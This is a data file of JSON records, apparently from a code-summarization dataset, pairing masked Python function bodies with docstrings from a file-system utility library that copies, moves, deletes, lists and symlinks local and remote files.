{"signature": "def CopyFile(source_filename, target_filename, override=True, md5_check=False, copy_symlink=True):", "body": "from ._exceptions import FileNotFoundError<EOL>if not override and Exists(target_filename):<EOL><INDENT>from ._exceptions import FileAlreadyExistsError<EOL>raise FileAlreadyExistsError(target_filename)<EOL><DEDENT>md5_check = md5_check and not target_filename.endswith('<STR_LIT>')<EOL>if md5_check:<EOL><INDENT>source_md5_filename = source_filename + '<STR_LIT>'<EOL>target_md5_filename = target_filename + '<STR_LIT>'<EOL>try:<EOL><INDENT>source_md5_contents = GetFileContents(source_md5_filename)<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>source_md5_contents = None<EOL><DEDENT>try:<EOL><INDENT>target_md5_contents = GetFileContents(target_md5_filename)<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>target_md5_contents = None<EOL><DEDENT>if source_md5_contents is not None andsource_md5_contents == target_md5_contents andExists(target_filename):<EOL><INDENT>return MD5_SKIP<EOL><DEDENT><DEDENT>_DoCopyFile(source_filename, target_filename, copy_symlink=copy_symlink)<EOL>if md5_check and source_md5_contents is not None and source_md5_contents != target_md5_contents:<EOL><INDENT>CreateFile(target_md5_filename, source_md5_contents)<EOL><DEDENT>", "docstring": "Copy a file from source to target.\n\n:param  source_filename:\n    @see _DoCopyFile\n\n:param  target_filename:\n    @see _DoCopyFile\n\n:param bool md5_check:\n    If True, checks md5 files (of both source and target files), if they match, skip this copy\n    and return MD5_SKIP\n\n    Md5 files are assumed to be {source, target} + '.md5'\n\n    If any file is missing (source, target or md5), the copy will always be made.\n\n:param  copy_symlink:\n    @see _DoCopyFile\n\n:raises FileAlreadyExistsError:\n    If target_filename already exists, and override is False\n\n:raises NotImplementedProtocol:\n    If file protocol is not accepted\n\n    Protocols allowed are:\n        source_filename: local, ftp, http\n        target_filename: local, ftp\n\n:rtype: None | MD5_SKIP\n:returns:\n    MD5_SKIP if the file was not copied because there was a matching .md5 file\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m7"}
{"signature": "def _DoCopyFile(source_filename, target_filename, copy_symlink=True):", "body": "from six.moves.urllib.parse import urlparse<EOL>source_url = urlparse(source_filename)<EOL>target_url = urlparse(target_filename)<EOL>if _UrlIsLocal(source_url):<EOL><INDENT>if not Exists(source_filename):<EOL><INDENT>from ._exceptions import FileNotFoundError<EOL>raise FileNotFoundError(source_filename)<EOL><DEDENT>if _UrlIsLocal(target_url):<EOL><INDENT>_CopyFileLocal(source_filename, target_filename, copy_symlink=copy_symlink)<EOL><DEDENT>elif target_url.scheme in ['<STR_LIT>']:<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(target_url.scheme)<EOL><DEDENT>else:<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(target_url.scheme)<EOL><DEDENT><DEDENT>elif source_url.scheme in ['<STR_LIT:http>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if _UrlIsLocal(target_url):<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(target_url.scheme)<EOL><DEDENT>else:<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(target_url.scheme)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>from ._exceptions import NotImplementedProtocol  <EOL>raise NotImplementedProtocol(source_url.scheme)<EOL><DEDENT>", "docstring": ":param unicode source_filename:\n    The source filename.\n    Schemas: local, ftp, http\n\n:param unicode target_filename:\n    Target filename.\n    Schemas: local, ftp\n\n:param  copy_symlink:\n    @see _CopyFileLocal\n\n:raises FileNotFoundError:\n    If source_filename does not exist", "id": "f788:m8"}
{"signature": "def _CopyFileLocal(source_filename, target_filename, copy_symlink=True):", "body": "import shutil<EOL>try:<EOL><INDENT>dir_name = os.path.dirname(target_filename)<EOL>if dir_name and not os.path.isdir(dir_name):<EOL><INDENT>os.makedirs(dir_name)<EOL><DEDENT>if copy_symlink and IsLink(source_filename):<EOL><INDENT>if os.path.isfile(target_filename) or IsLink(target_filename):<EOL><INDENT>DeleteFile(target_filename)<EOL><DEDENT>source_filename = ReadLink(source_filename)<EOL>CreateLink(source_filename, target_filename)<EOL><DEDENT>else:<EOL><INDENT>if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>while IsLink(source_filename):<EOL><INDENT>link = ReadLink(source_filename)<EOL>if os.path.isabs(link):<EOL><INDENT>source_filename = link<EOL><DEDENT>else:<EOL><INDENT>source_filename = os.path.join(os.path.dirname(source_filename), link)<EOL><DEDENT><DEDENT><DEDENT>shutil.copyfile(source_filename, target_filename)<EOL>shutil.copymode(source_filename, target_filename)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>reraise(e, '<STR_LIT>' % (source_filename, target_filename))<EOL><DEDENT>", "docstring": "Copy a file locally to a directory.\n\n:param unicode source_filename:\n    The filename to copy from.\n\n:param unicode target_filename:\n    The filename to copy to.\n\n:param bool copy_symlink:\n    If True and source_filename is a symlink, target_filename will also be created as\n    a symlink.\n\n    If False, the file being linked will be copied instead.", "id": "f788:m9"}
{"signature": "def CopyFiles(source_dir, target_dir, create_target_dir=False, md5_check=False):", "body": "import fnmatch<EOL>if IsDir(source_dir):<EOL><INDENT>source_mask = '<STR_LIT:*>'<EOL><DEDENT>else:<EOL><INDENT>source_dir, source_mask = os.path.split(source_dir)<EOL><DEDENT>if not IsDir(target_dir):<EOL><INDENT>if create_target_dir:<EOL><INDENT>CreateDirectory(target_dir)<EOL><DEDENT>else:<EOL><INDENT>from ._exceptions import DirectoryNotFoundError<EOL>raise DirectoryNotFoundError(target_dir)<EOL><DEDENT><DEDENT>filenames = ListFiles(source_dir)<EOL>if filenames is None:<EOL><INDENT>return<EOL><DEDENT>for i_filename in filenames:<EOL><INDENT>if md5_check and i_filename.endswith('<STR_LIT>'):<EOL><INDENT>continue  <EOL><DEDENT>if fnmatch.fnmatch(i_filename, source_mask):<EOL><INDENT>source_path = source_dir + '<STR_LIT:/>' + i_filename<EOL>target_path = target_dir + '<STR_LIT:/>' + i_filename<EOL>if IsDir(source_path):<EOL><INDENT>CopyFiles(source_path, target_path, create_target_dir=True, md5_check=md5_check)<EOL><DEDENT>else:<EOL><INDENT>CopyFile(source_path, target_path, md5_check=md5_check)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Copy files from the given source to the target.\n\n:param unicode source_dir:\n    A filename, URL or a file mask.\n    Ex.\n        x:\\coilib50\n        x:\\coilib50\\*\n        http://server/directory/file\n        ftp://server/directory/file\n\n\n:param unicode target_dir:\n    A directory or an URL\n    Ex.\n        d:\\Temp\n        ftp://server/directory\n\n:param bool create_target_dir:\n    If True, creates the target path if it doesn't exists.\n\n:param bool md5_check:\n    .. seealso:: CopyFile\n\n:raises DirectoryNotFoundError:\n    If target_dir does not exist, and create_target_dir is False\n\n.. seealso:: CopyFile for documentation on accepted protocols\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m10"}
{"signature": "def CopyFilesX(file_mapping):", "body": "<EOL>files = []<EOL>for i_target_path, i_source_path_mask in file_mapping:<EOL><INDENT>tree_recurse, flat_recurse, dirname, in_filters, out_filters = ExtendedPathMask.Split(i_source_path_mask)<EOL>_AssertIsLocal(dirname)<EOL>filenames = FindFiles(dirname, in_filters, out_filters, tree_recurse)<EOL>for i_source_filename in filenames:<EOL><INDENT>if os.path.isdir(i_source_filename):<EOL><INDENT>continue  <EOL><DEDENT>i_target_filename = i_source_filename[len(dirname) + <NUM_LIT:1>:]<EOL>if flat_recurse:<EOL><INDENT>i_target_filename = os.path.basename(i_target_filename)<EOL><DEDENT>i_target_filename = os.path.join(i_target_path, i_target_filename)<EOL>files.append((<EOL>StandardizePath(i_source_filename),<EOL>StandardizePath(i_target_filename)<EOL>))<EOL><DEDENT><DEDENT>for i_source_filename, i_target_filename in files:<EOL><INDENT>target_dir = os.path.dirname(i_target_filename)<EOL>CreateDirectory(target_dir)<EOL>CopyFile(i_source_filename, i_target_filename)<EOL><DEDENT>return files<EOL>", "docstring": "Copies files into directories, according to a file mapping\n\n:param list(tuple(unicode,unicode)) file_mapping:\n    A list of mappings between the directory in the target and the source.\n    For syntax, @see: ExtendedPathMask\n\n:rtype: list(tuple(unicode,unicode))\n:returns:\n    List of files copied. (source_filename, target_filename)\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m11"}
{"signature": "def IsFile(path):", "body": "from six.moves.urllib.parse import urlparse<EOL>url = urlparse(path)<EOL>if _UrlIsLocal(url):<EOL><INDENT>if IsLink(path):<EOL><INDENT>return IsFile(ReadLink(path))<EOL><DEDENT>return os.path.isfile(path)<EOL><DEDENT>elif url.scheme == '<STR_LIT>':<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(url.scheme)<EOL><DEDENT>else:<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(url.scheme)<EOL><DEDENT>", "docstring": ":param unicode path:\n    Path to a file (local or ftp)\n\n:raises NotImplementedProtocol:\n    If checking for a non-local, non-ftp file\n\n:rtype: bool\n:returns:\n    True if the file exists\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m12"}
{"signature": "def GetDriveType(path):", "body": "if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>import ctypes<EOL>kdll = ctypes.windll.LoadLibrary(\"<STR_LIT>\")<EOL>return kdll.GetDriveType(path + '<STR_LIT:\\\\>')<EOL>import win32file<EOL>if IsFile(path):<EOL><INDENT>path = os.path.dirname(path)<EOL><DEDENT>return win32file.GetDriveType(path + '<STR_LIT:\\\\>')<EOL><DEDENT>else:<EOL><INDENT>return DRIVE_UNKNOWN<EOL><DEDENT>", "docstring": "Determine the type of drive, which can be one of the following values:\n    DRIVE_UNKNOWN = 0\n        The drive type cannot be determined.\n\n    DRIVE_NO_ROOT_DIR = 1\n        The root path is invalid; for example, there is no volume mounted at the specified path.\n\n    DRIVE_REMOVABLE = 2\n        The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.\n\n    DRIVE_FIXED = 3\n        The drive has fixed media; for example, a hard disk drive or flash drive.\n\n    DRIVE_REMOTE = 4\n        The drive is a remote (network) drive.\n\n    DRIVE_CDROM = 5\n        The drive is a CD-ROM drive.\n\n    DRIVE_RAMDISK = 6\n        The drive is a RAM disk\n\n:note:\n    The implementation is valid only for Windows OS\n    Linux will always return DRIVE_UNKNOWN\n\n:param path:\n    Path to a file or directory", "id": "f788:m13"}
{"signature": "def IsDir(directory):", "body": "from six.moves.urllib.parse import urlparse<EOL>directory_url = urlparse(directory)<EOL>if _UrlIsLocal(directory_url):<EOL><INDENT>return os.path.isdir(directory)<EOL><DEDENT>elif directory_url.scheme == '<STR_LIT>':<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(target_url.scheme)<EOL><DEDENT>else:<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(directory_url.scheme)<EOL><DEDENT>", "docstring": ":param unicode directory:\n    A path\n\n:rtype: bool\n:returns:\n    Returns whether the given path points to an existent directory.\n\n:raises NotImplementedProtocol:\n    If the path protocol is not local or ftp\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m14"}
{"signature": "def Exists(path):", "body": "from six.moves.urllib.parse import urlparse<EOL>path_url = urlparse(path)<EOL>if _UrlIsLocal(path_url):<EOL><INDENT>return IsFile(path) or IsDir(path) or IsLink(path)<EOL><DEDENT>return IsFile(path) or IsDir(path)<EOL>", "docstring": ":rtype: bool\n:returns:\n    True if the path already exists (either a file or a directory)\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m15"}
{"signature": "def CopyDirectory(source_dir, target_dir, override=False):", "body": "_AssertIsLocal(source_dir)<EOL>_AssertIsLocal(target_dir)<EOL>if override and IsDir(target_dir):<EOL><INDENT>DeleteDirectory(target_dir, skip_on_error=False)<EOL><DEDENT>import shutil<EOL>shutil.copytree(source_dir, target_dir)<EOL>", "docstring": "Recursively copy a directory tree.\n\n:param unicode source_dir:\n    Where files will come from\n\n:param unicode target_dir:\n    Where files will go to\n\n:param bool override:\n    If True and target_dir already exists, it will be deleted before copying.\n\n:raises NotImplementedForRemotePathError:\n    If trying to copy to/from remote directories", "id": "f788:m16"}
{"signature": "def DeleteFile(target_filename):", "body": "_AssertIsLocal(target_filename)<EOL>try:<EOL><INDENT>if IsLink(target_filename):<EOL><INDENT>DeleteLink(target_filename)<EOL><DEDENT>elif IsFile(target_filename):<EOL><INDENT>os.remove(target_filename)<EOL><DEDENT>elif IsDir(target_filename):<EOL><INDENT>from ._exceptions import FileOnlyActionError<EOL>raise FileOnlyActionError(target_filename)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>reraise(e, '<STR_LIT>' % (target_filename))<EOL><DEDENT>", "docstring": "Deletes the given local filename.\n\n.. note:: If file doesn't exist this method has no effect.\n\n:param unicode target_filename:\n    A local filename\n\n:raises NotImplementedForRemotePathError:\n    If trying to delete a non-local path\n\n:raises FileOnlyActionError:\n    Raised when filename refers to a directory.", "id": "f788:m17"}
{"signature": "def AppendToFile(filename, contents, eol_style=EOL_STYLE_NATIVE, encoding=None, binary=False):", "body": "_AssertIsLocal(filename)<EOL>assert isinstance(contents, six.text_type) ^ binary, '<STR_LIT>'<EOL>if not binary:<EOL><INDENT>contents = _HandleContentsEol(contents, eol_style)<EOL>contents = contents.encode(encoding or sys.getfilesystemencoding())<EOL><DEDENT>oss = open(filename, '<STR_LIT>')<EOL>try:<EOL><INDENT>oss.write(contents)<EOL><DEDENT>finally:<EOL><INDENT>oss.close()<EOL><DEDENT>", "docstring": "Appends content to a local file.\n\n:param unicode filename:\n\n:param unicode contents:\n\n:type eol_style: EOL_STYLE_XXX constant\n:param eol_style:\n    Replaces the EOL by the appropriate EOL depending on the eol_style value.\n    Considers that all content is using only \"\\n\" as EOL.\n\n:param unicode encoding:\n    Target file's content encoding.\n    Defaults to sys.getfilesystemencoding()\n\n:param bool binary:\n    If True, content is appended in binary mode. In this case, `contents` must be `bytes` and not\n    `unicode`\n\n:raises NotImplementedForRemotePathError:\n    If trying to modify a non-local path\n\n:raises ValueError:\n    If trying to mix unicode `contents` without `encoding`, or `encoding` without\n    unicode `contents`", "id": "f788:m18"}
{"signature": "def MoveFile(source_filename, target_filename):", "body": "_AssertIsLocal(source_filename)<EOL>_AssertIsLocal(target_filename)<EOL>import shutil<EOL>shutil.move(source_filename, target_filename)<EOL>", "docstring": "Moves a file.\n\n:param unicode source_filename:\n\n:param unicode target_filename:\n\n:raises NotImplementedForRemotePathError:\n    If trying to operate with non-local files.", "id": "f788:m19"}
{"signature": "def MoveDirectory(source_dir, target_dir):", "body": "if not IsDir(source_dir):<EOL><INDENT>from ._exceptions import DirectoryNotFoundError<EOL>raise DirectoryNotFoundError(source_dir)<EOL><DEDENT>if Exists(target_dir):<EOL><INDENT>from ._exceptions import DirectoryAlreadyExistsError<EOL>raise DirectoryAlreadyExistsError(target_dir)<EOL><DEDENT>from six.moves.urllib.parse import urlparse<EOL>source_url = urlparse(source_dir)<EOL>target_url = urlparse(target_dir)<EOL>if _UrlIsLocal(source_url) and _UrlIsLocal(target_url):<EOL><INDENT>import shutil<EOL>shutil.move(source_dir, target_dir)<EOL><DEDENT>elif source_url.scheme == '<STR_LIT>' and target_url.scheme == '<STR_LIT>':<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(target_url.scheme)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Moves a directory.\n\n:param unicode source_dir:\n\n:param unicode target_dir:\n\n:raises NotImplementedError:\n    If trying to move anything other than:\n        Local dir -> local dir\n        FTP dir -> FTP dir (same host)", "id": "f788:m20"}
{"signature": "def GetFileContents(filename, binary=False, encoding=None, newline=None):", "body": "source_file = OpenFile(filename, binary=binary, encoding=encoding, newline=newline)<EOL>try:<EOL><INDENT>contents = source_file.read()<EOL><DEDENT>finally:<EOL><INDENT>source_file.close()<EOL><DEDENT>return contents<EOL>", "docstring": "Reads a file and returns its contents. Works for both local and remote files.\n\n:param unicode filename:\n\n:param bool binary:\n    If True returns the file as is, ignore any EOL conversion.\n\n:param unicode encoding:\n    File's encoding. If not None, contents obtained from file will be decoded using this\n    `encoding`.\n\n:param None|''|'\\n'|'\\r'|'\\r\\n' newline:\n    Controls universal newlines.\n    See 'io.open' newline parameter documentation for more details.\n\n:returns str|unicode:\n    The file's contents.\n    Returns unicode string when `encoding` is not None.\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m21"}
{"signature": "def GetFileLines(filename, newline=None, encoding=None):", "body": "return GetFileContents(<EOL>filename,<EOL>binary=False,<EOL>encoding=encoding,<EOL>newline=newline,<EOL>).split('<STR_LIT:\\n>')<EOL>", "docstring": "Reads a file and returns its contents as a list of lines. Works for both local and remote files.\n\n:param unicode filename:\n\n:param None|''|'\\n'|'\\r'|'\\r\\n' newline:\n    Controls universal newlines.\n    See 'io.open' newline parameter documentation for more details.\n\n:param unicode encoding:\n    File's encoding. If not None, contents obtained from file will be decoded using this\n    `encoding`.\n\n:returns list(unicode):\n    The file's lines\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m22"}
{"signature": "def OpenFile(filename, binary=False, newline=None, encoding=None):", "body": "from six.moves.urllib.parse import urlparse<EOL>filename_url = urlparse(filename)<EOL>if _UrlIsLocal(filename_url):<EOL><INDENT>if not os.path.isfile(filename):<EOL><INDENT>from ._exceptions import FileNotFoundError<EOL>raise FileNotFoundError(filename)<EOL><DEDENT>mode = '<STR_LIT:rb>' if binary else '<STR_LIT:r>'<EOL>return io.open(filename, mode, encoding=encoding, newline=newline)<EOL><DEDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(target_url.scheme)<EOL>", "docstring": "Open a file and returns it.\nConsider the possibility of a remote file (HTTP, HTTPS, FTP)\n\n:param unicode filename:\n    Local or remote filename.\n\n:param bool binary:\n    If True returns the file as is, ignore any EOL conversion.\n    If set ignores univeral_newlines parameter.\n\n:param None|''|'\\n'|'\\r'|'\\r\\n' newline:\n    Controls universal newlines.\n    See 'io.open' newline parameter documentation for more details.\n\n:param unicode encoding:\n    File's encoding. If not None, contents obtained from file will be decoded using this\n    `encoding`.\n\n:returns file:\n    The open file, it must be closed by the caller\n\n@raise: FileNotFoundError\n    When the given filename cannot be found\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m23"}
{"signature": "def ListFiles(directory):", "body": "from six.moves.urllib.parse import urlparse<EOL>directory_url = urlparse(directory)<EOL>if _UrlIsLocal(directory_url):<EOL><INDENT>if not os.path.isdir(directory):<EOL><INDENT>return None<EOL><DEDENT>return os.listdir(directory)<EOL><DEDENT>elif directory_url.scheme == '<STR_LIT>':<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(directory_url.scheme)<EOL><DEDENT>else:<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(directory_url.scheme)<EOL><DEDENT>", "docstring": "Lists the files in the given directory\n\n:type directory: unicode | unicode\n:param directory:\n    A directory or URL\n\n:rtype: list(unicode) | list(unicode)\n:returns:\n    List of filenames/directories found in the given directory.\n    Returns None if the given directory does not exists.\n\n    If `directory` is a unicode string, all files returned will also be unicode\n\n:raises NotImplementedProtocol:\n    If file protocol is not local or FTP\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m24"}
{"signature": "def CheckIsFile(filename):", "body": "if not IsFile(filename):<EOL><INDENT>from ._exceptions import FileNotFoundError<EOL>raise FileNotFoundError(filename)<EOL><DEDENT>", "docstring": "Check if the given file exists.\n\n@filename: unicode\n    The filename to check for existence.\n\n@raise: FileNotFoundError\n    Raises if the file does not exist.", "id": "f788:m25"}
{"signature": "def CheckIsDir(directory):", "body": "if not IsDir(directory):<EOL><INDENT>from ._exceptions import DirectoryNotFoundError<EOL>raise DirectoryNotFoundError(directory)<EOL><DEDENT>", "docstring": "Check if the given directory exists.\n\n@filename: unicode\n    Path to a directory being checked for existence.\n\n@raise: DirectoryNotFoundError\n    Raises if the directory does not exist.", "id": "f788:m26"}
{"signature": "def CreateFile(filename, contents, eol_style=EOL_STYLE_NATIVE, create_dir=True, encoding=None, binary=False):", "body": "<EOL>if binary:<EOL><INDENT>if isinstance(contents, six.text_type):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not isinstance(contents, six.text_type):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>contents = _HandleContentsEol(contents, eol_style)<EOL>encoding = encoding or sys.getfilesystemencoding()<EOL>contents = contents.encode(encoding)<EOL>binary = True<EOL><DEDENT>if create_dir:<EOL><INDENT>dirname = os.path.dirname(filename)<EOL>if dirname:<EOL><INDENT>CreateDirectory(dirname)<EOL><DEDENT><DEDENT>from six.moves.urllib.parse import urlparse<EOL>filename_url = urlparse(filename)<EOL>if _UrlIsLocal(filename_url):<EOL><INDENT>with open(filename, '<STR_LIT:wb>') as oss:<EOL><INDENT>oss.write(contents)<EOL><DEDENT><DEDENT>elif filename_url.scheme == '<STR_LIT>':<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(directory_url.scheme)<EOL><DEDENT>else:<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(filename_url.scheme)<EOL><DEDENT>return filename<EOL>", "docstring": "Create a file with the given contents.\n\n:param unicode filename:\n    Filename and path to be created.\n\n:param unicode contents:\n    The file contents as a string.\n\n:type eol_style: EOL_STYLE_XXX constant\n:param eol_style:\n    Replaces the EOL by the appropriate EOL depending on the eol_style value.\n    Considers that all content is using only \"\\n\" as EOL.\n\n:param bool create_dir:\n    If True, also creates directories needed in filename's path\n\n:param unicode encoding:\n    Target file's content encoding. Defaults to sys.getfilesystemencoding()\n    Ignored if `binary` = True\n\n:param bool binary:\n    If True, file is created in binary mode. In this case, `contents` must be `bytes` and not\n    `unicode`\n\n:return unicode:\n    Returns the name of the file created.\n\n:raises NotImplementedProtocol:\n    If file protocol is not local or FTP\n\n:raises ValueError:\n    If trying to mix unicode `contents` without `encoding`, or `encoding` without\n    unicode `contents`\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m27"}
{"signature": "def ReplaceInFile(filename, old, new, encoding=None):", "body": "contents = GetFileContents(filename, encoding=encoding)<EOL>contents = contents.replace(old, new)<EOL>CreateFile(filename, contents, encoding=encoding)<EOL>return contents<EOL>", "docstring": "Replaces all occurrences of \"old\" by \"new\" in the given file.\n\n:param unicode filename:\n    The name of the file.\n\n:param unicode old:\n    The string to search for.\n\n:param unicode new:\n    Replacement string.\n\n:return unicode:\n    The new contents of the file.", "id": "f788:m28"}
{"signature": "def CreateDirectory(directory):", "body": "from six.moves.urllib.parse import urlparse<EOL>directory_url = urlparse(directory)<EOL>if _UrlIsLocal(directory_url):<EOL><INDENT>if not os.path.exists(directory):<EOL><INDENT>os.makedirs(directory)<EOL><DEDENT>return directory<EOL><DEDENT>elif directory_url.scheme == '<STR_LIT>':<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(directory_url.scheme)<EOL><DEDENT>else:<EOL><INDENT>from ._exceptions import NotImplementedProtocol<EOL>raise NotImplementedProtocol(directory_url.scheme)<EOL><DEDENT>", "docstring": "Create directory including any missing intermediate directory.\n\n:param unicode directory:\n\n:return unicode|urlparse.ParseResult:\n    Returns the created directory or url (see urlparse).\n\n:raises NotImplementedProtocol:\n    If protocol is not local or FTP.\n\n.. seealso:: FTP LIMITATIONS at this module's doc for performance issues information", "id": "f788:m29"}
{"signature": "def DeleteDirectory(directory, skip_on_error=False):", "body": "_AssertIsLocal(directory)<EOL>import shutil<EOL>def OnError(fn, path, excinfo):<EOL><INDENT>'''<STR_LIT>'''<EOL>if IsLink(path):<EOL><INDENT>return<EOL><DEDENT>if fn is os.remove and os.access(path, os.W_OK):<EOL><INDENT>raise<EOL><DEDENT>import stat<EOL>os.chmod(path, stat.S_IWRITE)<EOL>fn(path)<EOL><DEDENT>try:<EOL><INDENT>if not os.path.isdir(directory):<EOL><INDENT>if skip_on_error:<EOL><INDENT>return<EOL><DEDENT>from ._exceptions import DirectoryNotFoundError<EOL>raise DirectoryNotFoundError(directory)<EOL><DEDENT>shutil.rmtree(directory, onerror=OnError)<EOL><DEDENT>except:<EOL><INDENT>if not skip_on_error:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Deletes a directory.\n\n:param unicode directory:\n\n:param bool skip_on_error:\n    If True, ignore any errors when trying to delete directory (for example, directory not\n    found)\n\n:raises NotImplementedForRemotePathError:\n    If trying to delete a remote directory.", "id": "f788:m30"}
{"signature": "def GetMTime(path):", "body": "_AssertIsLocal(path)<EOL>if os.path.isdir(path):<EOL><INDENT>files = FindFiles(path)<EOL>if len(files) > <NUM_LIT:0>:<EOL><INDENT>return max(map(os.path.getmtime, files))<EOL><DEDENT><DEDENT>return os.path.getmtime(path)<EOL>", "docstring": ":param unicode path:\n    Path to file or directory\n\n:rtype: float\n:returns:\n    Modification time for path.\n\n    If this is a directory, the highest mtime from files inside it will be returned.\n\n@note:\n    In some Linux distros (such as CentOs, or anything with ext3), mtime will not return a value\n    with resolutions higher than a second.\n\n    http://stackoverflow.com/questions/2428556/os-path-getmtime-doesnt-return-fraction-of-a-second", "id": "f788:m31"}
{"signature": "def ListMappedNetworkDrives():", "body": "if sys.platform != '<STR_LIT:win32>':<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>drives_list = []<EOL>netuse = _CallWindowsNetCommand(['<STR_LIT>'])<EOL>for line in netuse.split(EOL_STYLE_WINDOWS):<EOL><INDENT>match = re.match(\"<STR_LIT>\", line.rstrip())<EOL>if match:<EOL><INDENT>drives_list.append((match.group(<NUM_LIT:2>), match.group(<NUM_LIT:3>), match.group(<NUM_LIT:1>) == '<STR_LIT:OK>'))<EOL><DEDENT><DEDENT>return drives_list<EOL>", "docstring": "On Windows, returns a list of mapped network drives\n\n:return: tuple(string, string, bool)\n    For each mapped netword drive, return 3 values tuple:\n        - the local drive\n        - the remote path-\n        - True if the mapping is enabled (warning: not reliable)", "id": "f788:m32"}
{"signature": "def CreateLink(target_path, link_path, override=True):", "body": "_AssertIsLocal(target_path)<EOL>_AssertIsLocal(link_path)<EOL>if override and IsLink(link_path):<EOL><INDENT>DeleteLink(link_path)<EOL><DEDENT>dirname = os.path.dirname(link_path)<EOL>if dirname:<EOL><INDENT>CreateDirectory(dirname)<EOL><DEDENT>if sys.platform != '<STR_LIT:win32>':<EOL><INDENT>return os.symlink(target_path, link_path)  <EOL><DEDENT>else:<EOL><INDENT>import jaraco.windows.filesystem<EOL>return jaraco.windows.filesystem.symlink(target_path, link_path)<EOL>from ._easyfs_win32 import CreateSymbolicLink<EOL>try:<EOL><INDENT>dw_flags = <NUM_LIT:0><EOL>if target_path and os.path.isdir(target_path):<EOL><INDENT>dw_flags = <NUM_LIT:1><EOL><DEDENT>return CreateSymbolicLink(target_path, link_path, dw_flags)<EOL><DEDENT>except Exception as e:<EOL><INDENT>reraise(e, '<STR_LIT>' % locals())<EOL><DEDENT><DEDENT>", "docstring": "Create a symbolic link at `link_path` pointing to `target_path`.\n\n:param unicode target_path:\n    Link target\n\n:param unicode link_path:\n    Fullpath to link name\n\n:param bool override:\n    If True and `link_path` already exists as a link, that link is overridden.", "id": "f788:m34"}
{"signature": "def IsLink(path):", "body": "_AssertIsLocal(path)<EOL>if sys.platform != '<STR_LIT:win32>':<EOL><INDENT>return os.path.islink(path)<EOL><DEDENT>import jaraco.windows.filesystem<EOL>return jaraco.windows.filesystem.islink(path)<EOL>", "docstring": ":param unicode path:\n    Path being tested\n\n:returns bool:\n    True if `path` is a link", "id": "f788:m35"}
{"signature": "def ReadLink(path):", "body": "_AssertIsLocal(path)<EOL>if sys.platform != '<STR_LIT:win32>':<EOL><INDENT>return os.readlink(path)  <EOL><DEDENT>if not IsLink(path):<EOL><INDENT>from ._exceptions import FileNotFoundError<EOL>raise FileNotFoundError(path)<EOL><DEDENT>import jaraco.windows.filesystem<EOL>result = jaraco.windows.filesystem.readlink(path)<EOL>if '<STR_LIT>' in result:<EOL><INDENT>result = result.split('<STR_LIT>')[<NUM_LIT:1>]<EOL><DEDENT>return result<EOL>", "docstring": "Read the target of the symbolic link at `path`.\n\n:param unicode path:\n    Path to a symbolic link\n\n:returns unicode:\n    Target of a symbolic link", "id": "f788:m36"}
{"signature": "def _UrlIsLocal(directory_url):", "body": "return len(directory_url.scheme) < <NUM_LIT:2><EOL>", "docstring": ":param ParseResult directory_url:\n    A parsed url as returned by urlparse.urlparse.\n\n:rtype: bool\n:returns:\n    Returns whether the given url refers to a local path.\n\n.. note:: The \"directory_url.scheme\" is the drive letter for a local path on Windows and an empty string\nfor a local path on Linux. The other possible values are \"http\", \"ftp\", etc. So, checking if\nthe length is less than 2 characters long checks that the url is local.", "id": "f788:m37"}
